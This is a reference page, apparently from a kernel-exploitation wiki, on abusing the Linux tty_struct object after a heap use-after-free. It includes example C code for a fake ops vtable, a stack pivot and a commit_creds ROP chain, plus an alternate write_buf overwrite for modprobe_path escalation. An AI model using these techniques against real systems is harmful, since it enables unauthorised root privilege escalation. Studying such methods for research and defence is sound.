tty_struct

#kmalloc-32#kmalloc-1024#heapspray
Slabkmalloc-32kmalloc-1024
Requiresuaf-write-kmalloc-1024
Alt Requiresuaf-read-kmalloc-32
Giveskaslr-leakcontrol-flow-hijackarbitrary-write

This struct is an essential data structure in Linux kernel to manage pseudo terminals. tty_struct is allocated whenever pseudo terminals like bash are opened (opening /dev/ptmx )in user space.


1. Structure

The tty_struct is defined in include/linux/tty.h

struct tty_struct {
	struct kref kref;
	int index;
	struct device *dev;
	struct tty_driver *driver;
	struct tty_port *port;
	const struct tty_operations *ops;

	struct tty_ldisc *ldisc;
	struct ld_semaphore ldisc_sem;

	struct mutex atomic_write_lock;
	struct mutex legacy_mutex;
	struct mutex throttle_mutex;
	struct rw_semaphore termios_rwsem;
	struct mutex winsize_mutex;
	struct ktermios termios, termios_locked;
	char name[64];
	unsigned long flags;
	int count;
	unsigned int receive_room;
	struct winsize winsize;

	struct {
		spinlock_t lock;
		bool stopped;
		bool tco_stopped;
	} flow;

	struct {
		struct pid *pgrp;
		struct pid *session;
		spinlock_t lock;
		unsigned char pktstatus;
		bool packet;
	} ctrl;

	bool hw_stopped;
	bool closing;
	int flow_change;

	struct tty_struct *link;
	struct fasync_struct *fasync;
	wait_queue_head_t write_wait;
	wait_queue_head_t read_wait;
	struct work_struct hangup_work;
	void *disc_data;
	void *driver_data;
	spinlock_t files_lock;
	int write_cnt;
	u8 *write_buf;

	struct list_head tty_files;

	struct work_struct SAK_work;
} __randomize_layout;
  • The tty_struct->ops is an important pointer in the struct that points to a vtable that is used for lookup when operations like ioctl is called on /dev/ptmx device

2. Requirements

  • UAF and write primitive in kmalloc-1024
  • If only read primitive, then KASLR could be bypassed by reading the tty_struct->ops pointer.
  • UAF on kmalloc-32
    • This UAF can be used to leak tty_struct address which is essential to plant ROP chains on tty_struct
    • The tty_struct *tty points to tty_struct pointer
        struct tty_file_private {
        struct tty_struct *tty;
        struct file *file;
        struct list_head list;
      };
      

3. Exploitation

  • ROP
    • Once the tty_struct is sprayed into the kmalloc-1024 and kernel base addresses are leaked, the final stage involves hijacking control flow and executing a ROP chain to escalate privileges and safely return to user space.
    • #rop — see ROP for chain construction basics and RopBot-Angrop for automated gadget discovery
  • When an application calls ioctl() on /dev/ptmx, the kernel dispatches execution to tty_ioctl, which relies on the tty_operations vtable pointer inside the tty_struct
tty->ops->ioctl
  • By utilizing the kmalloc-1024 write primitive, we overwrite elements inside the reclaimed tty_struct:

    1. Fake Vtable Pointer (buf[4]): We redirect the ops pointer to a controlled region within the heap object itself (heap_ptr + 0x130 - 0x60), forcing the kernel to look up the .ioctl function pointer inside data we completely control.

    2. Stack Pivoting (leave_ret / pop_rsp_ret): When the kernel attempts to execute the fake .ioctl handler, it triggers a stack pivot gadget (leave; ret or pop rsp). This switches the kernel stack pointer (RSP) from its original location to our precise ROP channel buffer embedded directly inside the heap (rop_chan = heap_ptr + 0x170).

  • How ioctl call leads to stack pivot ?
    • The default switch case of ioctl handler execuctes the pointer from vtable

    • 	default:
            retval = tty_jobctrl_ioctl(tty, real_tty, file, cmd, arg);
            if (retval != -ENOIOCTLCMD)
                return retval;
        }
        if (tty->ops->ioctl) {
            retval = tty->ops->ioctl(tty, cmd, arg);
            if (retval != -ENOIOCTLCMD)
                return retval;
        }
        ld = tty_ldisc_ref_wait(tty);
        if (!ld)
            return hung_up_tty_ioctl(file, cmd, arg);
        retval = -EINVAL;
        if (ld->ops->ioctl) {
            retval = ld->ops->ioctl(tty, cmd, arg);
            if (retval == -ENOIOCTLCMD)
                retval = -ENOTTY;
        }
        tty_ldisc_deref(ld);
      
  • Example
    
      uint64_t tty_ops = buf[4];
      uint64_t prepare_kernel_cred = tty_ops - 18658528;
      uint64_t commit_cred = tty_ops - 18659216;
      uint64_t rop_chain = heap_ptr + 0x170;
        
      // Overwrite tty->ops->ioctl with gadget
      // tty->ops->ioctl is at +0x60 from tty->ops
      // Plant rop chain at tty_strct + 368 and stack pivot to it
      // heap_ptr is the tty_struct address
      buf[4] =heap_ptr + 0x130 - 0x60; // tty_struct->ops = heap_ptr + 0x130 - 0x60
      buf[38] = leave_ret;
      buf[1] = pop_rsp_ret; //tty_struct->dev
      buf[2] = rop_chain; //tty_struct->driver
      //Rop chain
      buf[46] = pop_rdi;
      buf[47] = init_task;
      buf[48] = prepare_kernel_cred;
      buf[49] = swapgs;
      ...
      ...
      ...
    

4. How to?


void main(){
	trigger_UAF();
	fd = open("/dev/ptmx",O_RDWR); // tty_struct lands on UAF object
	overwrtie_ttystruct();
	ioctl(fd,0x0,0x0);
}

5. Another technique?

  • Yes, there are multiple ways to abuse this struct.
  • It is also possible to overwrite tty_struct->write_cnt and tty_struct->write_buf and achieve arbitrary write primitive which is quite enough to quickly overwrite modprobe_path and escalate privileges
  • Read this blog for detailed walk through: https://ghost-ss.com/tfc_2025_slots/index.html
	void main(){
	fd = open("/dev/ptmx",O_RDWR);
	overwrite write_cnt_and_write_buf();
	write(fd,<datatooverwrite>,<sizeofdata>);
	}

References: https://github.com/smallkirby/kernelpwn/blob/master/technique/tty_struct.md